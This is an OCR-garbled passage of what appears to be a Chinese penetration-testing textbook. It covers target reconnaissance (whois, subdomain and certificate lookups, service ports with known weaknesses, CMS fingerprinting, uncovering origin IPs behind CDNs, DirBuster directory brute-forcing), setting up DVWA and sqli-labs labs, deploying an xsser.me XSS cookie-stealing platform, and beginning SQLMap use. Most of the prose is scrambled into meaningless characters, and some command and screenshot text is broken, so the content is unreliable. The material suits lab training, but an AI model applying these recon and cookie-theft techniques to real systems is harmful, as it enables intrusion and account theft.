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1.1.1 WhoisZif

Whois2—MrANEERNY, aJETFREMETMES, TMIEE. 1P
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1 /et # whois sec-redclub.com
omain Name: SEC-REDCLUB.COM

gistry Domain ID: 1984718678 DO*AIN COM-VRSN
Registrar WHOIS Server: grs-whois.hichina.com

egistrar URL: http://www.net.cn

ed Date: 2017-03-23722:50:14Z

Creation Date: 2015-11-30T08:45:51Z
Registry Expiry Date: 2017-11-30708:45:51Z
Registrar: HiChina Zhicheng Technology Ltd.
Registrar IANA ID: 420
Registrar Abuse Contact Email: DomainAbuse@service
Registrar Abuse Contact Phone: +86.95187
Domain Status: ok https://icann.org/epp#ok
Name Server: DNS10.HICHINA.COM
Name Server: DNS9.HICHINA.COM

BE1-1 KaliFEIWhoisZE=ig
FELEWhoisENaIERMILE =L TER (https: //whois.aizhan.com)
K23 (http://whois.chinaz.com) F1VirusTotal (https: //
www.virustotal.com) , BidixXEEMuL eI ERAMZIERER, NEERSE. 5
ZiEE, DIRiIRNpE, BiFE. it
1.1.2 BXEEEE
MILZESAREER ZEEINNE, FEMGHNEEEEZRE X 1FEN
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SIHAA. EEE'#XT.V\]D@JE MBEMIEEREEMER, WARERTESE.
=B LT
o ICPEZEEEN: http://www.beianbeian.com.
e XfRE: http://www.tianyancha.com,
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Google2HFR FHREAHERS 12—, X—(2BEMHENS, BralttE—
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Sibling Domains ©

download.androidapp.baidu.com
mh.gdown.baidu.com
liulangi.baidu.com
duclick.baidu.com
shawn.baidu.com
js.baidu.com
irbaidu.com
a.gdown.baidu.com
pcfaster.baidu.com
top.baidu.com
product.baidu.com
caigou.baidu.com
chf.baidu.com
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e.gdown.baidu.com
static.tieba.baidu.com
yuging.baidu.com
91.gdown.baidu.com
m.gdown.baidu.com

shangging.baidu.com
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BENMIEREIEBNRE RN A EERERS I EEE S AFNCTRE.
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crt.sh N i
Critecta Idwntity LIKE %
SHsh 0 Legeed Al 7 Mot Setere Idontity Inauer Name
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¢ 20170601 20170601 gt com CoUD Oeloty Encrygd CNelefs reopt Authorty X)
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20170501 01 durw com CAUR, O Loty Bosnept. SN ey Bosoysd Avihertly X)
B 20170501 20170501 dane cam caun CNe X
0170501 20170001 gt com Crul Oviets Encopt Chrieth Encogt Authonty X)
B B 0170501 20179501 www om VS, c (AN TSN CN i K2 nu Wu”
2070401 2017040 dana com coa
'. W170401 20170401 dans com Ly mm mww
B 20170401 20170401 gt cam vj QJ.!'\ im . w -ty Krcoyis Attty n
0170801 20170807 www com P . eyt Autne
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A, SRERCT ARSI TR i, A R
(https: //phpinfo.me/domain) , IPRRESBEMZMUL (http://
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R BtriRSS .
I TR EEENKETRETS, BIRFEXCTENNBNSAGOFER

ﬂﬁﬁ%ﬂﬁﬁ%"ﬁ%%ﬁvo-g

ObBz7RS. SENNEETIERENmap (ERNERLHEIREE TSN
), BREEOBETIEMasscan, ZMapfilGISETCPIRE TR, WE1-8
.
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2 @asFTCPEOSETIA - m] X
FHaIP: SHIP: A S

| =21 [t [[rs000 | O gikesss @ ik | B8
fEEIRO5I% (B ARESGESIRA : 80, 8080, 5090-6100)

|21. 22,23, 25,53, 69, 80, 81-89, 110, 135, 139, 143, 443, 445, 465, 993, 995, 1080, 1158, 1433, 1521, 1863, 2100, 312

Fitig0

B1-8 @slEEs TR
ERRORERE, DREELELEST.
o XHHZRSS IR -2F .

#1-2 SRS R

WOs $Oi5RA G910
21/22/69 Fip/Tfip S #Fff48 Ml FOPFHEF 00 B, FER. RREURSLRIRE
2049 Nfs fit % AEAY
139 Samba it % e, REBR, R RT
389 Ldap H i i Brid EA, RFERAR, #O04

o IiEEEIRS IR AR -3F7.
*=1-3 EEERS
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wOs BOER G100
22 SSH im fiEdE BREE. SSH Bl B AU R . SCIHE
23 Telner i ik 4 Mk, wpE. S04
3389 Rdp iz 77 5L Shift 511 ¢ 7 % Windows Server 2003 kL F i1 &
) . W
5900 VNC 504 1
5632 PyAnywhere i % e, (Crdhir

o Web[V FiRSS IR 12171 -4F 7.
#1-4 Web T FERRS %]

Wwos L impiL)] Wik7E
80/443/8080 LAY Web R %451 Web Heili . SEAE. 00 % SRR A i
7001/7002 WebLogic #2813 Java RIFFIE. §i04
S080/8089 Jboss/Resin/Jetty/Jenkins BRI, FRES04
9090 WebSphere £ £ Java RUFFIHE. S04
4848 GlassFish £211] & g4
1352 Lotus domino I {F i % W04, HRIME. B
10000 Webmin-Web {5 {fil BT Ha4

o FEEERRSS I 1203 1-5FTm.
#1-5 SIRERSH0

BOe ROEER BEAR
3306 MySOQL FEA L MR MR
1433 MSSOQL St 1% TEAL HREL. SA S504, B
1521 Oracle ¥4 TNS Hi. FEA. 3 Shell
5432 PostgreSQL ¥R e Wi, A W04
27017/27018 MongoDB L. RERT
6379 Redis ¥ i Al el AR AR . 8504 ek
5000 SysBase/DB2 ¥t 1 B, FEA

o BA-ARSS ImI1a07%1 -6 7.

#=1-6 MRS R
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iwOs I OER oG 10
25 SMTP B {HIR % HE Py i
110 POP3 4l i, wiE
143 IMAP il 1R

o ILEE MR 121ZE1 - 7F-.
=1-7 MLEENhYRO

#WOs KO8R WEEFE
53 DNS B4 §5 FOEFXILIL . DNS Bidy. SRfA%E. M
67/68 DHCP ik % EiFE. Wk
161 SNMP HHl HRL. {8 H N MEE

o FSRIRSIR MR -8R,
=1-8 FEiRsEis0

WOe S OiRER REAE
2181 Zookeeper I8 % F A2 BV Ia)
8069 Zabbix [t % AT, SQLFEA
9200/9300 Elasticsearch [Ii % IR AT
11211 Memcache i % A AR
512/513/514 Linux Rexec ffit % B . Rlogin 3%
873 Rsync i ¥ BEgim. o b
3690 Svn % Svn it . KB )
50000 SAP Management Console ILFEAT

1.5 I886R3I

BB THAS AT, 0L EYE, T ERAEERSINNE
8. BEHTRAESGIEANFHERIGBIERRAL EOMATFRNE, SRS
FERRAERNSE. MATSIHIEEIEMIECMSIESGRE]. THEHURFRSR Web
BRSSO,

N FBIEF—RRAERtmI, js. cssFEUFHZZ/NDB S LSS, H
WordPressfErobots. txtF £t Ewp-admin, HRindex.phpH&EE



%Eiﬁﬁ#}%iﬁﬂ%" TEBW oo = %——

WWW. glanani. com
generator=wordpress 3.xx, X MHEFEXCMSAHES, BRASHIZIE bRkt
FEASAT, REelLAEIRBIHIACMS, FRLAEESGRE.

EEEliEs, XERRSEEHTIEsCRBIEESEVEN, EARGIRIH
ERAIWebBEEEECMS, AREERSHEIEXANRRE, ASAEHTENNZER
{E.

CMS (Content Management System) MifEILEAEZRSE. 152004
LA, MEAHTMENEEE, A EF 140, BRERRENNK, =2
EF TS84 EE. FRLEHITCMS, AAEREBAER— YR, EFRE
CRREEY, Mol UEHEREIEREEr ML, 87T RENATFI.

BIAICMSEDedecms (#3%F) . Discuz, PHPWEB, PHPWind.

PHPCMS, ECShop. Dvbbs. SiteWeaver, ASPCMS. 7E. Z-Blog. WordPress
=

RET BEHGIWebiSsGHE]. WhatWeb, WebRobo. B, BREWEBS
SRR, o LAREIREI—EERCMS, 1E1-9F7.

EERE: S0 FrnnH L eh ] SAR SdEm AEH®

I Url Cmz. Fath slatus
1 http: /fwww. goln co dedeems fuplesds/userap/ index. hinl 1. %28/s

E1-9 CMSERIE
BRYIXETEH, &R LIS EICMSIESARR, W T

T
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e BugScaner: http://whatweb.bugscaner.com/look/.
o =AEIESL: http://www.yunsee.cn/finger.html,
e HIWhatWeb: https: //whatweb.net/.
1.6 EREXIP
EEElIEES, BinikSEElERE— 1 EE, BAdeEx M=k
HREBMRSHRIES PXBEME R MEEE. MRBERRSIEAFHECDN, =]
PIEEETwww.ip138.comiREN BRI —EIP R EEE. XEFEHBFAEUTXIL

’ FBRT, WIS CONSH BHrIRSS S8 EsLIP.

1. BiriRSS2EFECDN

CONEIRFSEME, FEFRIAAEHESINATEERE T AUSEiIMNEE
EMREE FURER. HERER, RE— AT AR EEEZEIXES R ENESRET
fEs8e, IERAPEEDNNGESHRRR (FRIFESHhtml css. jsEREUY) B
BEEFITRRSELE, ZAFPERAERE, SEERS A AEERFINTRRSSE L
MNZAFEF, HZRPELRIEZ BN A SNTiEWebRS588 IR, XFEEAJLAIAK
TR RIuARINR RO N F S .

FrANR 3 E BRI 7 CONRSS, s EEping BirliEE, BEIRNFHF
JEEFNBirWebiEsS88, REERIIRAN—&BirT RIICDNARSES, XS
TR AEIEEE BirESTIPESEE.

2 ¥ B2 EER 7 CDN

BESETping BfrEE, MREZNFETER, DUSHREESER T

CDN, #E1-10F7s.
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o

E1-10 ping#i=
BT LUK FBFELEMEE17CE (https: //www.17ce.com) BHTEESMXAY
pinglRSEEIRE, AEWHEMEXpingHIJIPER, EEXLEIPES—E, WEE
BN, WEJEEAFIECDN. MRIPASAK—HEENEERER, JUSHE
TAIXEIPRYAED, FIETREEFECDN.
3 55ICDNSHRESLIP

A T BFRASEA 7T CONLAG, MiEEsICONSHRBIMYESLIP, TE

> NME—EERRAE.

o NERAFFEIR. —RRAVEMARAEMEANRS, RBEIICONNENT, BdBix
KUk T AREERSSIT BaThaE, EEMpE. SHMBALFRIMMA RS EREZIP, ping
XA EMEIRS RS, FoTLBREEMUESLIP (1R, WREERE CRIBMARSS
B8, B HEAHBARSEEREREN) .

o IHERUEIIESS, WMphpinfo, test®, MMikEBIRIVESLIP.

o DULHE. REMIGTHATHRIESIK, AT ILERRIECDNRY, B
B45Uknl858aEECDN, oLUEd ping — 2 KA UEIP, BIRE Bl AT uE
ARE—MPEEE—CE TERIER, MmesrkTt BriVEsTIPES.

e ESNAE. EARRCONFHERNERBFARNE, mE/MICDNEFA
—E7. Alt, BIEIMELAEMIEApp Synthetic Monitor (https: //
asm.ca.com/en/ping.php) ¥ial, EIEESERIESEAIP, NE1T-11F7k.
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ERRNLBTEAEY 90 TSR THSHERNBER Ping BSSXRE

www zhenai com (9430 www yahoo com)

Ping: www.zhenai.com

Bnus ("1 ] min. rtt@DEENE  avg. rtt max.rtt P

BXPT - R (auper01) aE 392793 412383  420.060 1222253038
BAHT - RN (aubne2) aE 343958 357038 365381 5822178154
ERE - SHENHN (arbued1) B 353155 353955 354936 1222253038
BAHT - BR (ausyd0d) aE 199412 1996560 199736 5822178154
BE - THZK (usatio2) L b3 259780 282745 293663 5822178154
BAWE - BE (ausyd03) Wz 271091 281409 290064 5822178154
BE - 28F (brsacdd) aE 315269 316345 320555 5822178154
EF - ERBEE (brpoald1) ag 402031 429712 442800 1222253038
BE - BHMAAS (bmo01) aE 407555 413844 419948 1222253038
MK - BEE (cavan3) nE 271971 287580 303520 58.22178.154
HHE - RS DH# (beanr03) az 196149 197404 200647 5822178154
ENHT - RET (bgsof02) wE 282582 282706 282824 5822178154
IR - MNPR (inbir01) wE 411069 425891 437425 5822178154
RE - RS (uswbu01) aE 208007 221759 235249 5822178154
R - B8 (usbos02) aE 232995 233146 233730 5822178154

E1-11 EINEERAERLL

o EFHENFEIMCR. EITERMBALETFHEEMIICDN, FrAaILuE
MUENETCRAFT (https: //www.netcraft.com/) SEMZEMZMIPHEIEE, tBalld
RE S BirHIESCIPER.

o WNEBIRMIEEB CHApp, AILA=IRAIFFiddlersiBurp SuiteflENAppHI
BK, NEmEKEBRIUESLIP,

e Z&dCloudFlare CONEIXESLIP. IFERESMULERERCloudFlaref2{HAJ
CDNPRSS, 7EHaE T BiaMutEEECDNG, SJSEEEd EZEMisCloud
FlareWatch (http://www.crimeflare.us/cfs.html#box) XJCloudFlareZFRuLH T
ESLIPE), SRMEN-12f7R.
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arnold.ns.cloudflare.com
betty.ns.cloudflare.com

SSL certificate info for vidreactor.com
A direct-connect IP address was found: vidreactor.com 185.92.194.18 ROMANIA
An attempt to fetch a page from this IP was unsuccessful.

Previous lookups for this domain:

» 2018-01-14: vidreactor.com 185.92.194.18 ROMANIA
» 2017-11-17: vidreactor.com 185.92.194.60 ROMANIA

E1-12 ZiFCloudFlarefIESLIP
4 KAEEREVATIP
KR BRESKIPLUS, AMeBOIEEESIMR? MEEWeb, RESAEIIES
EEEE=EABIPHN, BEEINNREEAEMGEEZREN—F,; HEEBRER
HESARISR T, BB Masscanf T EHIEXINIPERPRIEFT 780, 443,
8080imMIIP, HAZEN=iEIPAE], MRIBNERES HBEINES.
1.7 BEESRE R UG
mEEEMRF, TWebBREMFIFSERISRSUEE— MR /DIIA
T, NPl aEEmmE. )4 HERE, EZEaIaeiHMusAvRS

> 3.

IR B R TEESDirBuster. SIS SR EM. wwwscan,
Spinderpy (RESRIEENHBRGETRE) . Sensitivefilescan (RERHHEBAL
HERGET) . Weakfilescan (BE2&uREHBREEEM) £18. &%
{Beaithi}Hi#— FDirBuster.

DirBuster2OWASPH AN —FE T avaRSM. L JBETRNWebiRS8:
NERAEECUE. RAZRIavafmSH, FARER avaiziTiiE (JRE) T&RE.
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ZTENFEREGER AN, BAEER, ERNERSRNT.

frTarget URLEINIEFIAZEI MR, HEISEKGLIRES "Auto
Switch (HEAD and GET) " &I,

IRERIEAUEE, HEE20~ 30208, AKTBS5 RS,

TR, MRERNATFHRTM, WiEE “List based brute
force” &I,

BT “Browse” EEFH, nJLUEETESTNFH, holliEEECNTF
B,

7ESelect starting optionss#6#% “URL Fuzz” AzU#HTHM. &&fuzzing
RIEELE, 7EURL to fuzzBigIN "/(dir)" . XENInE2—1&E, BRREFR
FHE—{T, WE1-13/7.

File Options About Help

Target LEL (eg huitp://example. com: B0

¥ u; ET r ts only ®Auto Switch (HEAD and GET
Sel i sed brute force Pure Brute For

Fil

OList I

El1-13 DirBusterfIE E(5E
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WMEAFHEERN EiREhttp://www.oo.com/admin/, IFAFKETEURL to fuzz
BIES “/admin/(dir)" , EEERE "(din" HRIao] LR EREENBERNER
22, fEigA " /admin/{dir.php” SiZEidEadminBR THFTEphp 4.

Bitzsh, EEEReIUNBRESEET L, EDIENNE, XBEEE—

1 WebScan (http://www.webscan.cc/) .
1.8 H&=TEF
H=TiEFEZENEFEEAMNMWER, MRS 1ES, WEEDUM—

’ 2R THNOPSEHARZ 2SS,

RRIEEN—RAGHTEEME, [EEREBRIVESLIPHER, IHAIRio]
IR FAEERIH X R A SRS E A RN FIRE. B5%, LXAHEARAEH
%, BEENEANTTmREE, BRAHEARSRISH. XEBERERALIEE 51T
REF LRI X R A EIHEL SE | Pitihit K PR ERER AR SS BRRTIE KIS R

BTSN A TIEY, RIECSKE 7 BsAIIEE. QQ.
MRS, #2, UNEZRSE, hRREEEEREN RN, X
Sl ERBERANERERARDNEEHEEST, EERAARSHEERES
B, NMEREEE MESEE6G, WafiEiis.

FPRILLAZN, AT T E8EERRER, ME1-1467r%,
TERRMETIEFHTNEN R RN S D EUENS O EERE. XM IEEREEAE

 ER, EEJLBAEN ARSI TCR. FIBKERIREEE, oI e TREHHRE

LB, ESUAoJLIBdEERS EREFIAMTKSEH SR, AeldfIBt
IS TEAEINEEMEEETH, XERAFIREROAKSHTIRIEE
EE.
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2.1 FELinuxXRRFLZHRLANMP
LANMPELinux FApache, Nginx, MySQLRIPHPRINFEIALE, AT5ER
RIEWDLinuxi—RERMINZER, BFERIFEBER. &%, MNIFENZEE,
S M.
wget http://dl.wdlinux.cn/files/lanmp_v3.targz
TEEREHTEE, BEUHm<$ Atar zxvf lanmp_v3.targz, B354
EUNE2-1F7s.

:~# wget http://dl.wdli f .tar.gz
2 . HE § neep: 7 (anmp vV3iTtar.gz
.cn (dl.wdli ; 2 36.61.177
(c .61.177):80... co

1ﬁmé.

lanmp v3.tar.gz 100% [===s=======s======s==============>] 45.61K

2018-82-24 22:18:39 (2.54 MB/s) ‘lanmp _v3.tar.gz' saved [46706/46766]

BE2-1 Z2EL ANMP

#iAsh lanmp.shiz$iz{TLANMP, XEEFFHESHE5MNAR, ER2-2fr
. I 2% 3EApache, PHP, MySQL. Zend. PureFTPdfIphpMyAdminfi
, EBREZ#ENginx, PHP, MySQL. Zend. PureFTPdflphpMyAdminfgss,
TM32%%ENginx, Apache, PHP, MySQL. Zend. PureFTPdflphpMyAdminfig
55, EARTERGRS, EHSRIEAZSE. Zend Guard2—3XPHPIIZ [,
IR, WREEZend ABEREIIERETUE; PureFTPd2FTPZSEIIRSS;
phpMyAdminfHEFEA FiWebmE SR EIEMySQLAIEREIRSS .. XEJLURIEED

|

5,

H W
i
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FENINE, BiTEE.

122 SRS
EKaliflUbuntuFZESF, #Ash lanmp.sh S EIRABU MER, WE
2-3ff7.

~# sh lanmp.sh

lanmp.sh: 45: 1ib/common.conf: function: not found
lanmp.sh: 67: 1ib/common.conf: Syntax error: "}" unexpected

E2-3 #ERE
XERNESNdashFEMEAT, MREEEIREbash. FLAETLESALL
TH<, BEEENERNREEE (Shell) 2(F.
sudo dpkg-reconfigure dash
RIS "<No>" iR, AE2-4Ff7r.

] ~ I
3§ g I

nfia

0 ing dash

The system shell is the default command interpreter for shell scripts.

Using dash as the system shell will improve the system's overall
performance. It does not alter the shell presented to interactive users.,

Use dash as the default system shell (/bin/sh)?

<Yes>

E2-4 Configuring dashFF&E



EE#IAsudo sh lanmp.shanS4kEiZrdE, WE2-5F 7.

Laase [nput [12,8,455%

E2-5 i FEZE s
XBTIERREZ R PARR 0], R ANdiEclsbAmtE, ciailelaE
WER2-6F YRS, EXIEEE+FI5alIPFI8080iH[], MIAEIARKSadminf1Z S
wdlinux.cn, ERENGRSHEXENAZRE, PHIEHEE.

{Emﬁ%mamm"ﬂﬂ»mvms§

E2-6 AT
2.2 fTEWindows &S hZ=EWAMP
WAMPEWindows$Apache, MySQLAIPHPRIRIFRIALE, XEEEERN
EWampServer, TEABNESML NEZE . FER R HATEER
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WWW. glanani. com
=, BE N5 K. EEETEWampServerlf S8R NAIER, IERIRAZ
MSVCR110.dll, #EFZEEEhttp://www.zhaodll.com/dll/download.asp?
softid=41552&downid=2&iz3=2a9db44a3a7e2d7f65f2c100b6662097&id=41625-
T&EMsvex110-zipfs, #32MHRSME C: \Windows\System32BR T, 64
ZAVMEBIC: \Windows\SysWOWE4ER T, EFzE—matacit. MEiss
Apache[SaNMAIER, NE5cHEApacheffss, AGEEFZIEApachelRSHE
&, WE2-7Fx.

Powered by Alter Wi
] Localhost
D My Projects
) phpMyAdmin
B www BRW)

@ Version 1 i
:
Apache #2(A) > 4 '
Aiies BR(U) y| X LRSI
: httpd.conf @ “EMR)

|| Apache #RBE(P) » 365 80 =mOI(8)
|| Apache BEBE(C) [ =eBE0
5 "=Rs© )

-Wm

BE2-7 EmApachefRSE
EEIAThEIAIRI127.0.0.1, WE2-8f~, ERIRSELERHET.
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o

< > C O ©wpya2rooy ’ 0
#u ruere Oxony Agns Bra - Oam w3 any
Server

Apache Version : 249 - Documentation
PHP Version : 5512 - Documentation
Server Software: Apache/ 249 (Wed2) H9/S512

Loaded Extensions :  f agacre2rander  bomath o  calendar # com_dotret
W Core » e »ont » cate »om
Mooy et W flerto e o
oo o getent ®ome rash * icon
*ap *son it » mbstreg oyt
o mhash mnd | T * mygind o
W oversyl *poe #» 00 W pdo_mysdl ¥ po_schte
»rar # Reflection ¥ sesson » svmop  Senple XML
s o sockets hsn * sqiee) # stardars
W ohenes * wats  sdebig ol # mireader
i B iwrter ol L oo

MySQLVersion : 5617 - Documentation

Tools Your Projects Your Aliases
 phowfo() Mo projects et > phpryadmn
 phomyadmun To creste & new one, just create & drectory 0 » phpsysinfo
www' - sqbuddy
o webgrind

E2-8 ¥5i71127.0.0.1
2.3 fAFEDVWATRRIAIE
DVWAE—FFHRNZEMHRREGIFE, HFREXSS, SQUEN. M4
HE XHEE. CSRFNZENEBESMEENEIAR. EABINES ML FEE
R, ERENEEEHIEERCE— N EESR, HAMySQLEEFRY
phpMyAdmin, ¥JFFhttp://127.0.0.1/phpMyAdmin/, BliE&A “dvwa” RIEHIE
FE, SNER2-9F7r.
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phpMyAdmin |

MEE /S LUS ~ up SSE LGSA JAE

& 8 s 9
e Yir 457 1=
o X ¥y /T
LR eIA) .
O WRARKE o
challenges dvwa ‘ 59 b4 e
dvwa
informetion_schema L L
Sokedd challenges o GEEW
s s LTON
mvsal -

BE2-9 eIZFTRISIEE
EEER configdtk Flconfig.inc.phph#iRERIBFE. &0, HiEE
&, WE2-10F7R.

[ £8)
[T

E2-10 EEEBUEEREXERE
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BXGNa, FEAEHMEIRE, MEENGIRERS, EHREwwwE
FF, FITBN488A0lhttp://127.0.0.1/setup.php, Ed: “Create/Reset
Database” & TZE, LEMNGEUMER-11F7=, 8 “login” BIelER,
IS Hadmin, Zi5Apassword,

Create / Reset Database

||

e Database has been created

b

§ ‘users' table was created

B Data inserted into ‘'users' table

W‘j ‘guestbook’ tabie was created

g Data inserted into ‘guestbook’ table
x Setup successful!

sSE Please I

=] E2-11 ZRE

SR ol gE S I &M Disabled, EXPHPZEE RS Hphp.iniX
4, #Hallow url include, BOFfEIAON, RASEFPHPEIOIERIX NS, WE
2-12F7.
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= ALV NVNVLA
? ni
4 Bohpini 2% =
) MENE MIti0) AWV W)
Maximum number of files that can be uploaded via a single
request
max file uploads 20

Fopen wrappers
e e rm
he { of reset your database

ERF-T® ‘ptals in CAwampiwww/confi

h & Mta will be reset
1t eMFD fadmin // password”) at any s!

>

2
s

S

e
PHP wrsion 55,12
Web Server SERVER_NAME 127.0.0.1

PHP function display_errors. Enabled (Easy Mode’)
PHP unction safe _mode Disabled

PP er Disabled

PHP funchion allow_ur_fopen Enabled

PHP function magic_quotes_gpe: Disatled

PHP module php-gd Instalied

BE2-12 f£8php.ini>H4

BRXEHNEEWNE" F3bioce =

2.4 ¥EESQLINFE

3 sqli-labs2—FRFISQUINRFHRFE, HE75MHARERIGEN, EFD

T R ML RS EFEE, SHFRASREERUERIMEIERSD, HA
MySQLEEFHphpMyAdmin, ¥TFFhttp://127.0.0.1/phpMyAdmin/, FEEHERES
FRRERA “security” RIEIREREE, FHEIFRPHsql-lab.sqmXUESASIEES, WE
2-13ff73.

2
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phpMyAdmin K :
W sq. A MF B8 L9k SSA S EE e
8 8 00
4 Ze| 3 2= & . ”
SABIEIEEE “security
FIEERRE) v
. . ESAmR:
UHEEEES (zzip, bzip2, zip) HKEE-
| emails ERueaLme | (L), (EMSE) .’IR.' f: . sql.zip
| referers Wit e [SREE | sqliab sql (BARY: 2,08 KB)
_| uagents
THNFER: | uf v
| users

¥ Allow the interruption of an import in case the script detects it 13 cl
can break transactions.)

MAETTEEREDTH: |0

fitat:

SaL v

HUERR -

SoL MEHE: | NONE vig
¢ TERTEEREN (wro_scemeT) &

[xe ]
E2-13 SAZURE

¥1Ftsql-connections 34+ db-creds.incX {4, BILMESERERERIK
5. TR, EESREBRER, EABUGHIEEEER, THNEEEIR127.0.0.1/
sql1/, #E&EE “Setup/reset Database for labs” , #E2-14F7=.
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o LoadURL | netpy127.0.0. 151
4 SeRuRL
¢ Execute
Enabie Postdata  Enable Roferrer

SQLi-LABS Page-1(Basic Challenges)

Selup/resel Dalabase for labs
Page-2 (Advanced Injections) \
Page-3 (Stacked Injections)
Page-4 (Challenges)
E2-14 (EEEURERIEUR
EEEWWWERFOE T sql1 34, FHEREREZERTE, B
i “Setup/reset Database for labs” [e&=BaMAAhttp://127.0.0.1/5ql1/sq]l-

connections/setup-db.php, AMEHIMNE2-15RRUER, HBEZEALTN.
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g Load URL hp://127.0.0.1/5q/1/sql-connections/setup-db.phg
Split URL
Execute

Enadle Post cata Enable Referrer

SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES

| Old database 'SECURITY' purged if exists

| Creating New database 'SECURITY' successiully
) Creating New Table 'USERS' successfully

™ Creating New Table 'EMAILS' successfully

| Creating New Table 'UAGENTS' successfully

"] Creating New Table 'REFERERS' successfully

™ Inserted data correctly into table 'USERS'

™ Inserted data correctly into table '‘EMAILS'

[ Oid database purged if exists

] Creating New database successfully

| Creating New Table NDWWPS5RP8D' successfully

! Inserted data correctly into table NDWWPSRP8D'

| Y Inserted secret key ‘secret_NWKE' into table

E2-15 =Z2ERkIh
2.5 EzEXSSMAFES

XSSHh & EMREXSSTwiAE cookieF HEK WebTREAFEES
JSEUHINFEE, BEEARTS N cookie, GEEBMNYE. V. FIEXSSHEREE

TR, EANTES. MILEER. FKEAFER (IS

[l =1 =]
B ::%

, XSSo U

IPHhh) &, X

BEAINERE T xssermellNiRiS. EABRIRERL FEHEXUEHREE, WEKER

EEFREEXSSFalIMEERT, R M.

o FHAMySQLEEFESHphpMyAdminFE, FE— I XSSEAHEIRE



WWW. glanani. com
[, Ulxssplatform, REBEAFENZEN, WME2-16F7.

+ information schema

+ nysql
4 :::‘ , WROEE @
' o Wi xssplatform utf8_bin
¥ | temp
HEE . L33
information_schema a: EENR
myaql = LEMER
tast sr BREMMR
— = BLENR
ik 4

E12-16 FEEXSSTEEREIEE

—%mvﬁ#}mmm" FEW oo = §+_

¢ [E¥config.phprHEHEEIEEFER, BEHAFS. ZIEN8UEES, 5
[BIXSSESAJURLIENE, Bt E R inviteM onormal, EEXNECEWE2-178

Tse
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19.9 REER nExsy. RGeS

DlalMS, site:sinR: me, 2%

NgNEy
Scontig| nWTEy
$config mpe
Sconfig - fofo]
Scontig| x - s

| scontagl - Lrg. ]

Scontig| - S
Scontig| v ]

EHEN -
Sconfig( registe rmal, EXinvive, RV EBRET se
Sconfig| ~false: ETEMATERES
. «3;5':' .
Sconfig| us l- - 2 l ViE il
Sconfig| ] “false: 8T HFEusl Rewrite

BE2-17 {&#config.phphRIEUE

o BEAMySQLETEFHIphpMyAdmin, ¥EEXSSFEEREIERE, SAFRE
Ffixssplatform.sql3f, RAEHTLLTSQLSS, EHiEEFREERNURLIBIHEX
HOERAURL, ER2-18F7k. BT, thFEFauthtest.phphRIRIUHEEEIRA
EHCHIURL, NE2-199FLAEIRERIERS.

A UPDATE oc_module SETcode=REPLACE (code, ‘http://xsserme’, '
http://yourdomain/xss")
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0 0#M% b L] U 4 BT ¥ OB\ & S L SA S B

v EARTEO0-4 7 (3517, HHES 0.0005 ¥)

UPDATE oc_module SET
code~REPLACE (code, http //xsser me', "http //localhost/xsser’)

T BA
BE2-18 $1/7SQLIES

fer
| error_reporting| )

* HERNE seur avre vsen Wsenr aoTe MW 98-
BIAE (' semat (5_SERVER[ 1N A S]] (' immet (§_SERVER['] ™ NI
s 20 REFFAFRTIANRNAK.

header (VW2 . ate calne"' .addslashes (trim(§ GET|

header

exit;

else If ((1sset (§_SERVER([ VP AT ENIN) &4 (tswet (b _SERVER|')
c FRANE. NEXATEN -

SHPIIE [STTITEIRIIIIN ISP O (—_

o]

E2-19 f£3URL
o I TRAIRIEEXSSFAMURL, BIMAR, RSEphpMyAdminE
¥ei¥oc user, & EMAFAadminLevel® 1, ANE2-20F7. Bi&config.phpit
fEcEFfnormalX Ainvite (EEEERSEA, BIXFAFHCEMAIIHEE) .
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FH kS B =2 @
id int{11) 3
adminLevel tinyint(1) 3 :
userName  varchar(50) E|
admin

E2-20 EfzadminLevelf3E
o SERBMHS Y (htaccess) , FEFARBERTAE htaccess34,
BANAMUE.

# apache M5

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteBase /

RewriteRule ~([@-9a-zA-Z]{6})$% /index.php?do=code&urlKey=$1 [L]

RewriteRule

~do/auth/(\w+?)(/domain/([\w\.]+?))?$ /index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule “register/(.*?)$ /index.php?do=register&key=$1 [L]

RewriteRule “register-validate/(.*?)$ /index.php?do=register&act=validate&key=%1
(L]

</IfModule>

# Nginx Bl

rewrite "~/([@-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 break;

rewrite "~/do/auth/(w+?)(/domain/([w.]+?))?$" /index.php?do=do&auth=$1&domain=%3
break;

rewrite "*/register/(.?)$" /index.php?do=register8key=$1 break;

rewrite ""/register-validate/(.?)$" /index.php?do=register&act=validate8key=$1
break;

rewrite "~/login$" /index.php?do=login break;

o FAIMIMKEEZEXSSES, AIEmE, WE2-21F-.
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3.1 SQLMapi¥f&

SQLMapE— P EaEISQUINTE, EFXEEEEEME. AIHFAIBLAE
URLAISQLIFANTEIR, RE YRS, SISMI80EEEMySQL. Oracle,
PostgreSQL. Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,
Firebird, Sybase¥1SAP MaxDB. SQLMap3f T LA FSHItAFHISQLENFIAR.

o ETM/ARERNET, RISJLUREREIREHBESAEERATEN.

o« ETHENER, AASRERIRENASHEHIES, EREHHEN

“’f‘* EENEEREARECNT (IREREREZSEN) FHIH.

e o EFRIET, IAESEEBISMES, RBEIAKEDNEREEEE

; .

2 o BEAERITE, EoJLMERUNionAIIER FABEA.

= o BERTEA, AIARRHITSEEONITEA.

! SQLMapEEANIIAEEIEAIRAEISEORS, SiEiiss. SU=ga. g

g RS, FHERDEL IR AR LHEESS. SQLMaplIiEBEaAZhE AR
A0, LEMIGEA TERSRIASQUINRRHTEANN, #HSQLMap2 G =84S
X

% 3.1.1 Z£3SQLMap

g SQLMapliZ2EEEPythoniiiE (F5zi5Python 3) , ATERNE
~yn Python 2.7.3, alfEEM FEZESTHLE, TE=ME, SFPythonfIZZH

ot

X, PINENEESES, WE3-1/Tr.
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SEEGTE e

TEEM: Path

TREW: #indowsPowerShell\wl, 0\;C: \Python27
| WeE Lﬁah‘
E3-1 eEHEEE
AIETESQLMaplIEM (http://www.sqlmap.org) FEEHFHRAY

SQLMap, TEHFIPythonlZEER T, FESQLMapBRINFIAEZES. 17T
cmd, #iAsqlmap.pyfn< o TEBAIEEE T, ME3-2f7R.

won “\SQLMap>sqlmap. py

€1.8.7.158dev>

http: s sqlmap.org

E3-2 i=7SQLMap
3.1.2 SQLMapA\|’]
1 HBTESFEEAN
B BimENAREhttp://192.168.1.104/sql1/Less-1/2id=11, ¥HFEESR
FEEANGSU RH7R.
